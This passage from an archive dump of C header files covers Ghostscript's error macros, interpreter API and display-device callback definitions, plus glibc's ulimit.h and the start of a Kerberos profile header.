DO_NOTHING #define gs_warn9(fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) \ DO_NOTHING #else int gs_throw_imp(const char *func, const char *file, int line, int op, int code, const char *fmt, ...) __printflike(6, 7); /* Use throw at origin of error */ #define gs_throw_code(code) \ gs_throw1((code), "%s", gs_errstr((code))) #define gs_throw(code, fmt) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt) #define gs_throw1(code, fmt, arg1) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt, arg1) #define gs_throw2(code, fmt, arg1, arg2) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt, arg1, arg2) #define gs_throw3(code, fmt, arg1, arg2, arg3) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt, arg1, arg2, arg3) #define gs_throw4(code, fmt, arg1, arg2, arg3, arg4) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt, arg1, arg2, arg3, arg4) #define gs_throw5(code, fmt, arg1, arg2, arg3, arg4, arg5) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt, arg1, arg2, arg3, arg4, arg5) #define gs_throw6(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6) #define gs_throw7(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) #define gs_throw8(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) #define gs_throw9(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) \ gs_throw_imp(__func__, __FILE__, __LINE__, 0, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) /* Bubble the code up the stack */ #define gs_rethrow_code(code) \ gs_rethrow1((code), "%s", gs_errstr((code))) #define gs_rethrow(code, fmt) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt) #define gs_rethrow1(code, fmt, arg1) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt, arg1) #define gs_rethrow2(code, fmt, arg1, arg2) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt, arg1, arg2) #define gs_rethrow3(code, fmt, arg1, arg2, arg3) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt, arg1, arg2, arg3) #define gs_rethrow4(code, fmt, arg1, arg2, arg3, arg4) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt, arg1, arg2, arg3, arg4) #define gs_rethrow5(code, fmt, arg1, arg2, arg3, arg4, arg5) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt, arg1, arg2, arg3, arg4, arg5) #define gs_rethrow6(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6) #define gs_rethrow7(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) #define gs_rethrow8(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) #define gs_rethrow9(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) \ gs_throw_imp(__func__, __FILE__, __LINE__, 1, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) /* This will cause trouble, as it implies you are fixing an error * the system will spew messages */ #define gs_catch(code, fmt) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt) #define gs_catch1(code, fmt, arg1) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt, arg1) #define gs_catch2(code, fmt, arg1, arg2) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt, arg1, arg2) #define gs_catch3(code, fmt, arg1, arg2, arg3) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt, arg1, arg2, arg3) #define gs_catch4(code, fmt, arg1, arg2, arg3, arg4) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt, arg1, arg2, arg3, arg4) #define gs_catch5(code, fmt, arg1, arg2, arg3, arg4, arg5) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt, arg1, arg2, arg3, arg4, arg5) #define gs_catch6(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6) #define gs_catch7(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) #define gs_catch8(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) #define gs_catch9(code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) \ gs_throw_imp(__func__, __FILE__, __LINE__, 2, code, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) /* gs_warn is a printf */ #define gs_warn(fmt) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt) #define gs_warn1(fmt, arg1) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt, arg1) #define gs_warn2(fmt, arg1, arg2) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt, arg1, arg2) #define gs_warn3(fmt, arg1, arg2, arg3) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt, arg1, arg2, arg3) #define gs_warn4(fmt, arg1, arg2, arg3, arg4) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt, arg1, arg2, arg3, arg4) #define gs_warn5(fmt, arg1, arg2, arg3, arg4, arg5) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt, arg1, arg2, arg3, arg4, arg5) #define gs_warn6(fmt, arg1, arg2, arg3, arg4, arg5, arg6) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt, arg1, arg2, arg3, arg4, arg5, arg6) #define gs_warn7(fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7) #define gs_warn8(fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) #define gs_warn9(fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) \ (void)gs_throw_imp(__func__, __FILE__, __LINE__, 3, 0, fmt, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9) #endif /* just in case you don't know 0 means no error * other return codes are errors. */ #define gs_okay 0 #endif /* gserrors_INCLUDED */ ghostscript/ierrors.h 0000644 00000004215 15246445047 0010770 0 ustar 00 /* Copyright (C) 2001-2019 Artifex Software, Inc. All Rights Reserved. This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license contained in the file LICENSE in this distribution. Refer to licensing information at http://www.artifex.com or contact Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, CA 94945, U.S.A., +1(415)492-9861, for further information. */ /* Definition of error codes */ #ifndef ierrors_INCLUDED # define ierrors_INCLUDED #include "gserrors.h" /* * DO NOT USE THIS FILE IN THE GRAPHICS LIBRARY. * THIS FILE IS PART OF THE POSTSCRIPT INTERPRETER. * USE gserrors.h IN THE LIBRARY. */ /* * A procedure that may return an error always returns * a non-negative value (zero, unless otherwise noted) for success, * or negative for failure. * We use ints rather than an enum to avoid a lot of casting. */ /* Define the error name table */ extern const char *const gs_error_names[]; /* ------ PostScript Level 1 errors ------ */ #define LEVEL1_ERROR_NAMES\ "unknownerror", "dictfull", "dictstackoverflow", "dictstackunderflow",\ "execstackoverflow", "interrupt", "invalidaccess", "invalidexit",\ "invalidfileaccess", "invalidfont", "invalidrestore", "ioerror",\ "limitcheck", "nocurrentpoint", "rangecheck", "stackoverflow",\ "stackunderflow", "syntaxerror", "timeout", "typecheck", "undefined",\ "undefinedfilename", "undefinedresult", "unmatchedmark", "VMerror" /* ------ Additional Level 2 errors (also in DPS) ------ */ #define LEVEL2_ERROR_NAMES\ "configurationerror", "undefinedresource", "unregistered" /* ------ Additional DPS errors ------ */ #define DPS_ERROR_NAMES\ "invalidcontext", "invalidid" #define ERROR_NAMES\ LEVEL1_ERROR_NAMES, LEVEL2_ERROR_NAMES, DPS_ERROR_NAMES /* * Define which error codes require re-executing the current object. */ #define GS_ERROR_IS_INTERRUPT(ecode)\ ((ecode) == gs_error_interrupt || (ecode) == gs_error_timeout) #endif /* ierrors_INCLUDED */ ghostscript/iapi.h 0000644 00000031312 15246445047 0010223 0 ustar 00 /* Copyright (C) 2001-2019 Artifex Software, Inc. All Rights Reserved. This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license contained in the file LICENSE in this distribution. Refer to licensing information at http://www.artifex.com or contact Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, CA 94945, U.S.A., +1(415)492-9861, for further information. */ /* * Public API for Ghostscript interpreter * for use both as DLL and for static linking. * * Should work for Windows, OS/2, Linux, Mac. * * DLL exported functions should be as similar as possible to imain.c * You will need to include "ierrors.h". * * Current problems: * 1. Ghostscript does not support multiple instances. * 2. Global variables in gs_main_instance_default() * and gsapi_instance_counter */ /* Exported functions may need different prefix * GSDLLEXPORT marks functions as exported * GSDLLAPI is the calling convention used on functions exported * by Ghostscript * GSDLLCALL is used on callback functions called by Ghostscript * When you include this header file in the caller, you may * need to change the definitions by defining these * before including this header file. * Make sure you get the calling convention correct, otherwise your * program will crash either during callbacks or soon after returning * due to stack corruption. */ #ifndef iapi_INCLUDED # define iapi_INCLUDED #ifdef __cplusplus extern "C" { #endif #if defined(_WINDOWS_) || defined(__WINDOWS__) # ifndef _Windows # define _Windows # endif #endif #ifdef _Windows # ifndef GSDLLEXPORT /* We don't need both the "__declspec(dllexport)" declaration * and the listing in the .def file - having both results in * a linker warning on x64 builds (but is incorrect on x86, too) */ # if 0 # define GSDLLEXPORT __declspec(dllexport) # else # define GSDLLEXPORT # endif # endif # ifndef GSDLLAPI # define GSDLLAPI __stdcall # endif # ifndef GSDLLCALL # define GSDLLCALL __stdcall # endif #endif /* _Windows */ #if defined(OS2) && defined(__IBMC__) # ifndef GSDLLAPI # define GSDLLAPI _System # endif # ifndef GSDLLCALL # define GSDLLCALL _System # endif #endif /* OS2 && __IBMC */ #ifdef __MACOS__ # pragma export on #endif #ifndef GSDLLEXPORT # define GSDLLEXPORT #endif #ifndef GSDLLAPI # define GSDLLAPI #endif #ifndef GSDLLCALL # define GSDLLCALL #endif #if defined(__IBMC__) # define GSDLLAPIPTR * GSDLLAPI # define GSDLLCALLPTR * GSDLLCALL #else # define GSDLLAPIPTR GSDLLAPI * # define GSDLLCALLPTR GSDLLCALL * #endif #ifndef display_callback_DEFINED # define display_callback_DEFINED typedef struct display_callback_s display_callback; #endif #ifndef gs_memory_DEFINED # define gs_memory_DEFINED typedef struct gs_memory_s gs_memory_t; #endif #ifndef gx_device_DEFINED # define gx_device_DEFINED typedef struct gx_device_s gx_device; #endif typedef struct gsapi_revision_s { const char *product; const char *copyright; long revision; long revisiondate; } gsapi_revision_t; /* Get version numbers and strings. * This is safe to call at any time. * You should call this first to make sure that the correct version * of the Ghostscript is being used. * pr is a pointer to a revision structure. * len is the size of this structure in bytes. * Returns 0 if OK, or if len too small (additional parameters * have been added to the structure) it will return the required * size of the structure. */ GSDLLEXPORT int GSDLLAPI gsapi_revision(gsapi_revision_t *pr, int len); /* * WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING * Ghostscript supports only one instance. * The current implementation uses a global static instance * counter to make sure that only a single instance is used. * If you try to create two instances, the second attempt * will return < 0 and set pinstance to NULL. * WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING */ /* Create a new instance of Ghostscript. * This instance is passed to most other API functions. * The caller_handle will be provided to callback functions. */ GSDLLEXPORT int GSDLLAPI gsapi_new_instance(void **pinstance, void *caller_handle); /* * WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING * Ghostscript supports only one instance. * The current implementation uses a global static instance * counter to make sure that only a single instance is used. * WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING */ /* Destroy an instance of Ghostscript * Before you call this, Ghostscript must have finished. * If Ghostscript has been initialised, you must call gsapi_exit() * before gsapi_delete_instance. */ GSDLLEXPORT void GSDLLAPI gsapi_delete_instance(void *instance); /* Set the callback functions for stdio * The stdin callback function should return the number of * characters read, 0 for EOF, or -1 for error. * The stdout and stderr callback functions should return * the number of characters written. * If a callback address is NULL, the real stdio will be used. */ GSDLLEXPORT int GSDLLAPI gsapi_set_stdio(void *instance, int (GSDLLCALLPTR stdin_fn)(void *caller_handle, char *buf, int len), int (GSDLLCALLPTR stdout_fn)(void *caller_handle, const char *str, int len), int (GSDLLCALLPTR stderr_fn)(void *caller_handle, const char *str, int len)); /* Set the callback function for polling. * This is used for handling window events or cooperative * multitasking. This function will only be called if * Ghostscript was compiled with CHECK_INTERRUPTS * as described in gpcheck.h. * The polling function should return 0 if all is well, * and negative if it wants ghostscript to abort. * The polling function must be fast. */ GSDLLEXPORT int GSDLLAPI gsapi_set_poll(void *instance, int (GSDLLCALLPTR poll_fn)(void *caller_handle)); /* Set the display device callback structure. * If the display device is used, this must be called * after gsapi_new_instance() and before gsapi_init_with_args(). * See gdevdisp.h for more details. */ GSDLLEXPORT int GSDLLAPI gsapi_set_display_callback( void *instance, display_callback *callback); /* Set the string containing the list of default device names * for example "display x11alpha x11 bbox". Allows the calling * application to influence which device(s) gs will try in order * to select the default device * * *Must* be called after gsapi_new_instance() and before * gsapi_init_with_args(). */ GSDLLEXPORT int GSDLLAPI gsapi_set_default_device_list(void *instance, char *list, int listlen); /* Returns a pointer to the current default device string * *Must* be called after gsapi_new_instance(). */ GSDLLEXPORT int GSDLLAPI gsapi_get_default_device_list(void *instance, char **list, int *listlen); /* Set the encoding used for the args. By default we assume * 'local' encoding. For windows this equates to whatever the current * codepage is. For linux this is utf8. * * Use of this API (gsapi) with 'local' encodings (and hence without calling * this function) is now deprecated! */ GSDLLEXPORT int GSDLLAPI gsapi_set_arg_encoding(void *instance, int encoding); enum { GS_ARG_ENCODING_LOCAL = 0, GS_ARG_ENCODING_UTF8 = 1, GS_ARG_ENCODING_UTF16LE = 2 }; /* Initialise the interpreter. * This calls gs_main_init_with_args() in imainarg.c * 1. If quit or EOF occur during gsapi_init_with_args(), * the return value will be gs_error_Quit. This is not an error. * You must call gsapi_exit() and must not call any other * gsapi_XXX functions. * 2. If usage info should be displayed, the return value will be gs_error_Info * which is not an error. Do not call gsapi_exit(). * 3. Under normal conditions this returns 0. You would then * call one or more gsapi_run_*() functions and then finish * with gsapi_exit(). */ GSDLLEXPORT int GSDLLAPI gsapi_init_with_args(void *instance, int argc, char **argv); #ifdef __WIN32__ GSDLLEXPORT int GSDLLAPI gsapi_init_with_argsA(void *instance, int argc, char **argv); GSDLLEXPORT int GSDLLAPI gsapi_init_with_argsW(void *instance, int argc, wchar_t **argv); #endif /* * The gsapi_run_* functions are like gs_main_run_* except * that the error_object is omitted. * If these functions return <= -100, either quit or a fatal * error has occured. You then call gsapi_exit() next. * The only exception is gsapi_run_string_continue() * which will return gs_error_NeedInput if all is well. */ GSDLLEXPORT int GSDLLAPI gsapi_run_string_begin(void *instance, int user_errors, int *pexit_code); GSDLLEXPORT int GSDLLAPI gsapi_run_string_continue(void *instance, const char *str, unsigned int length, int user_errors, int *pexit_code); GSDLLEXPORT int GSDLLAPI gsapi_run_string_end(void *instance, int user_errors, int *pexit_code); GSDLLEXPORT int GSDLLAPI gsapi_run_string_with_length(void *instance, const char *str, unsigned int length, int user_errors, int *pexit_code); GSDLLEXPORT int GSDLLAPI gsapi_run_string(void *instance, const char *str, int user_errors, int *pexit_code); GSDLLEXPORT int GSDLLAPI gsapi_run_file(void *instance, const char *file_name, int user_errors, int *pexit_code); #ifdef __WIN32__ GSDLLEXPORT int GSDLLAPI gsapi_run_fileA(void *instance, const char *file_name, int user_errors, int *pexit_code); GSDLLEXPORT int GSDLLAPI gsapi_run_fileW(void *instance, const wchar_t *file_name, int user_errors, int *pexit_code); #endif /* Retrieve the memory allocator for the interpreter instance */ GSDLLEXPORT gs_memory_t * GSDLLAPI gsapi_get_device_memory(void *instance); /* Set the device */ GSDLLEXPORT int GSDLLAPI gsapi_set_device(void *instance, gx_device *pdev); /* Exit the interpreter. * This must be called on shutdown if gsapi_init_with_args() * has been called, and just before gsapi_delete_instance(). */ GSDLLEXPORT int GSDLLAPI gsapi_exit(void *instance); /* function prototypes */ typedef int (GSDLLAPIPTR PFN_gsapi_revision)( gsapi_revision_t *pr, int len); typedef int (GSDLLAPIPTR PFN_gsapi_new_instance)( void **pinstance, void *caller_handle); typedef void (GSDLLAPIPTR PFN_gsapi_delete_instance)( void *instance); typedef int (GSDLLAPIPTR PFN_gsapi_set_stdio)(void *instance, int (GSDLLCALLPTR stdin_fn)(void *caller_handle, char *buf, int len), int (GSDLLCALLPTR stdout_fn)(void *caller_handle, const char *str, int len), int (GSDLLCALLPTR stderr_fn)(void *caller_handle, const char *str, int len)); typedef int (GSDLLAPIPTR PFN_gsapi_set_poll)(void *instance, int(GSDLLCALLPTR poll_fn)(void *caller_handle)); typedef int (GSDLLAPIPTR PFN_gsapi_set_display_callback)( void *instance, display_callback *callback); typedef int (GSDLLAPIPTR PFN_gsapi_set_default_device_list)( void *instance, char *list, int listlen); typedef int (GSDLLAPIPTR PFN_gsapi_get_default_device_list)( void *instance, char **list, int *listlen); typedef int (GSDLLAPIPTR PFN_gsapi_init_with_args)( void *instance, int argc, char **argv); #ifdef __WIN32__ typedef int (GSDLLAPIPTR PFN_gsapi_init_with_argsA)( void *instance, int argc, char **argv); typedef int (GSDLLAPIPTR PFN_gsapi_init_with_argsW)( void *instance, int argc, wchar_t **argv); #endif typedef int (GSDLLAPIPTR PFN_gsapi_set_arg_encoding)( void *instance, int encoding); typedef int (GSDLLAPIPTR PFN_gsapi_run_string_begin)( void *instance, int user_errors, int *pexit_code); typedef int (GSDLLAPIPTR PFN_gsapi_run_string_continue)( void *instance, const char *str, unsigned int length, int user_errors, int *pexit_code); typedef int (GSDLLAPIPTR PFN_gsapi_run_string_end)( void *instance, int user_errors, int *pexit_code); typedef int (GSDLLAPIPTR PFN_gsapi_run_string_with_length)( void *instance, const char *str, unsigned int length, int user_errors, int *pexit_code); typedef int (GSDLLAPIPTR PFN_gsapi_run_string)( void *instance, const char *str, int user_errors, int *pexit_code); typedef int (GSDLLAPIPTR PFN_gsapi_run_file)(void *instance, const char *file_name, int user_errors, int *pexit_code); #ifdef __WIN32__ typedef int (GSDLLAPIPTR PFN_gsapi_run_fileA)(void *instance, const char *file_name, int user_errors, int *pexit_code); typedef int (GSDLLAPIPTR PFN_gsapi_run_fileW)(void *instance, const wchar_t *file_name, int user_errors, int *pexit_code); #endif typedef gs_memory_t * (GSDLLAPIPTR PFN_gsapi_get_device_memory)(void *instance); typedef gs_memory_t * (GSDLLAPIPTR PFN_gsapi_set_device)(void *instance, gx_device *pdev); typedef int (GSDLLAPIPTR PFN_gsapi_exit)(void *instance); #ifdef __MACOS__ #pragma export off #endif #ifdef __cplusplus } /* extern 'C' protection */ #endif #endif /* iapi_INCLUDED */ ghostscript/gdevdsp.h 0000644 00000023412 15246445047 0010737 0 ustar 00 /* Copyright (C) 2001-2019 Artifex Software, Inc. All Rights Reserved. This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license contained in the file LICENSE in this distribution. Refer to licensing information at http://www.artifex.com or contact Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, CA 94945, U.S.A., +1(415)492-9861, for further information. */ /* gdevdsp.h - callback structure for DLL based display device */ #ifndef gdevdsp_INCLUDED # define gdevdsp_INCLUDED /* * The callback structure must be provided by calling the * Ghostscript APIs in the following order: * gsapi_new_instance(&minst); * gsapi_set_display_callback(minst, callback); * gsapi_init_with_args(minst, argc, argv); * * Supported parameters and default values are: * -sDisplayHandle=16#04d2 or 1234 string * Caller supplied handle as a decimal or hexadecimal number * in a string. On 32-bit platforms, it may be set * using -dDisplayHandle=1234 for backward compatibility. * Included as first parameter of all callback functions. * * -dDisplayFormat=0 long * Color format specified using bitfields below. * Included as argument of display_size() and display_presize() * These can only be changed when the device is closed. * * The second parameter of all callback functions "void *device" * is the address of the Ghostscript display device instance. * The arguments "void *handle" and "void *device" together * uniquely identify an instance of the display device. * * A typical sequence of callbacks would be * open, presize, memalloc, size, sync, page * presize, memfree, memalloc, size, sync, page * preclose, memfree, close * The caller should not access the image buffer: * - before the first sync * - between presize and size * - after preclose * If opening the device fails, you might see the following: * open, presize, memalloc, memfree, close * */ #define DISPLAY_VERSION_MAJOR 2 #define DISPLAY_VERSION_MINOR 0 #define DISPLAY_VERSION_MAJOR_V1 1 /* before separation format was added */ #define DISPLAY_VERSION_MINOR_V1 0 /* The display format is set by a combination of the following bitfields */ /* Define the color space alternatives */ typedef enum { DISPLAY_COLORS_NATIVE = (1<<0), DISPLAY_COLORS_GRAY = (1<<1), DISPLAY_COLORS_RGB = (1<<2), DISPLAY_COLORS_CMYK = (1<<3), DISPLAY_COLORS_SEPARATION = (1<<19) } DISPLAY_FORMAT_COLOR; #define DISPLAY_COLORS_MASK 0x8000fL /* Define whether alpha information, or an extra unused bytes is included */ /* DISPLAY_ALPHA_FIRST and DISPLAY_ALPHA_LAST are not implemented */ typedef enum { DISPLAY_ALPHA_NONE = (0<<4), DISPLAY_ALPHA_FIRST = (1<<4), DISPLAY_ALPHA_LAST = (1<<5), DISPLAY_UNUSED_FIRST = (1<<6), /* e.g. Mac xRGB */ DISPLAY_UNUSED_LAST = (1<<7) /* e.g. Windows BGRx */ } DISPLAY_FORMAT_ALPHA; #define DISPLAY_ALPHA_MASK 0x00f0L /* Define the depth per component for DISPLAY_COLORS_GRAY, * DISPLAY_COLORS_RGB and DISPLAY_COLORS_CMYK, * or the depth per pixel for DISPLAY_COLORS_NATIVE * DISPLAY_DEPTH_2 and DISPLAY_DEPTH_12 have not been tested. */ typedef enum { DISPLAY_DEPTH_1 = (1<<8), DISPLAY_DEPTH_2 = (1<<9), DISPLAY_DEPTH_4 = (1<<10), DISPLAY_DEPTH_8 = (1<<11), DISPLAY_DEPTH_12 = (1<<12), DISPLAY_DEPTH_16 = (1<<13) /* unused (1<<14) */ /* unused (1<<15) */ } DISPLAY_FORMAT_DEPTH; #define DISPLAY_DEPTH_MASK 0xff00L /* Define whether Red/Cyan should come first, * or whether Blue/Black should come first */ typedef enum { DISPLAY_BIGENDIAN = (0<<16), /* Red/Cyan first */ DISPLAY_LITTLEENDIAN = (1<<16) /* Blue/Black first */ } DISPLAY_FORMAT_ENDIAN; #define DISPLAY_ENDIAN_MASK 0x00010000L /* Define whether the raster starts at the top or bottom of the bitmap */ typedef enum { DISPLAY_TOPFIRST = (0<<17), /* Unix, Mac */ DISPLAY_BOTTOMFIRST = (1<<17) /* Windows */ } DISPLAY_FORMAT_FIRSTROW; #define DISPLAY_FIRSTROW_MASK 0x00020000L /* Define whether packing RGB in 16-bits should use 555 * or 565 (extra bit for green) */ typedef enum { DISPLAY_NATIVE_555 = (0<<18), DISPLAY_NATIVE_565 = (1<<18) } DISPLAY_FORMAT_555; #define DISPLAY_555_MASK 0x00040000L /* Define the row alignment, which must be equal to or greater than * the size of a pointer. * The default (DISPLAY_ROW_ALIGN_DEFAULT) is the size of a pointer, * 4 bytes (DISPLAY_ROW_ALIGN_4) on 32-bit systems or 8 bytes * (DISPLAY_ROW_ALIGN_8) on 64-bit systems. */ typedef enum { DISPLAY_ROW_ALIGN_DEFAULT = (0<<20), /* DISPLAY_ROW_ALIGN_1 = (1<<20), */ /* not currently possible */ /* DISPLAY_ROW_ALIGN_2 = (2<<20), */ /* not currently possible */ DISPLAY_ROW_ALIGN_4 = (3<<20), DISPLAY_ROW_ALIGN_8 = (4<<20), DISPLAY_ROW_ALIGN_16 = (5<<20), DISPLAY_ROW_ALIGN_32 = (6<<20), DISPLAY_ROW_ALIGN_64 = (7<<20) } DISPLAY_FORMAT_ROW_ALIGN; #define DISPLAY_ROW_ALIGN_MASK 0x00700000L #ifndef display_callback_DEFINED #define display_callback_DEFINED typedef struct display_callback_s display_callback; #endif /* * Note that for Windows, the display callback functions are * cdecl, not stdcall. This differs from those in iapi.h. */ struct display_callback_s { /* Size of this structure */ /* Used for checking if we have been handed a valid structure */ int size; /* Major version of this structure */ /* The major version number will change if this structure changes. */ int version_major; /* Minor version of this structure */ /* The minor version number will change if new features are added * without changes to this structure. For example, a new color * format. */ int version_minor; /* New device has been opened */ /* This is the first event from this device. */ int (*display_open)(void *handle, void *device); /* Device is about to be closed. */ /* Device will not be closed until this function returns. */ int (*display_preclose)(void *handle, void *device); /* Device has been closed. */ /* This is the last event from this device. */ int (*display_close)(void *handle, void *device); /* Device is about to be resized. */ /* Resize will only occur if this function returns 0. */ /* raster is byte count of a row. */ int (*display_presize)(void *handle, void *device, int width, int height, int raster, unsigned int format); /* Device has been resized. */ /* New pointer to raster returned in pimage */ int (*display_size)(void *handle, void *device, int width, int height, int raster, unsigned int format, unsigned char *pimage); /* flushpage */ int (*display_sync)(void *handle, void *device); /* showpage */ /* If you want to pause on showpage, then don't return immediately */ int (*display_page)(void *handle, void *device, int copies, int flush); /* Notify the caller whenever a portion of the raster is updated. */ /* This can be used for cooperative multitasking or for * progressive update of the display. * This function pointer may be set to NULL if not required. */ int (*display_update)(void *handle, void *device, int x, int y, int w, int h); /* Allocate memory for bitmap */ /* This is provided in case you need to create memory in a special * way, e.g. shared. If this is NULL, the Ghostscript memory device * allocates the bitmap. This will only called to allocate the * image buffer. The first row will be placed at the address * returned by display_memalloc. */ void *(*display_memalloc)(void *handle, void *device, unsigned long size); /* Free memory for bitmap */ /* If this is NULL, the Ghostscript memory device will free the bitmap */ int (*display_memfree)(void *handle, void *device, void *mem); /* Added in V2 */ /* When using separation color space (DISPLAY_COLORS_SEPARATION), * give a mapping for one separation component. * This is called for each new component found. * It may be called multiple times for each component. * It may be called at any time between display_size * and display_close. * The client uses this to map from the separations to CMYK * and hence to RGB for display. * GS must only use this callback if version_major >= 2. * The unsigned short c,m,y,k values are 65535 = 1.0. * This function pointer may be set to NULL if not required. */ int (*display_separation)(void *handle, void *device, int component, const char *component_name, unsigned short c, unsigned short m, unsigned short y, unsigned short k); }; /* This is the V1 structure, before separation format was added */ struct display_callback_v1_s { int size; int version_major; int version_minor; int (*display_open)(void *handle, void *device); int (*display_preclose)(void *handle, void *device); int (*display_close)(void *handle, void *device); int (*display_presize)(void *handle, void *device, int width, int height, int raster, unsigned int format); int (*display_size)(void *handle, void *device, int width, int height, int raster, unsigned int format, unsigned char *pimage); int (*display_sync)(void *handle, void *device); int (*display_page)(void *handle, void *device, int copies, int flush); int (*display_update)(void *handle, void *device, int x, int y, int w, int h); void *(*display_memalloc)(void *handle, void *device, unsigned long size); int (*display_memfree)(void *handle, void *device, void *mem); }; #define DISPLAY_CALLBACK_V1_SIZEOF sizeof(struct display_callback_v1_s) #endif /* gdevdsp_INCLUDED */ ulimit.h 0000644 00000003057 15246445047 0006240 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _ULIMIT_H #define _ULIMIT_H 1 #include <features.h> /* Constants used as the first parameter for `ulimit'. They denote limits which can be set or retrieved using this function. */ enum { UL_GETFSIZE = 1, /* Return limit on the size of a file, in units of 512 bytes. */ #define UL_GETFSIZE UL_GETFSIZE UL_SETFSIZE, /* Set limit on the size of a file to second argument. */ #define UL_SETFSIZE UL_SETFSIZE __UL_GETMAXBRK, /* Return the maximum possible address of the data segment. */ __UL_GETOPENMAX /* Return the maximum number of files that the calling process can open.*/ }; __BEGIN_DECLS /* Control process limits according to CMD. */ extern long int ulimit (int __cmd, ...) __THROW; __END_DECLS #endif /* ulimit.h */ profile.h 0000644 00000027572 15246445047 0006405 0 ustar 00 /* * profile.h */ #ifndef _KRB5_PROFILE_H #define _KRB5_PROFILE_H #if defined(_WIN32) #include <win-mac.h> #endif #if defined(__MACH__) && 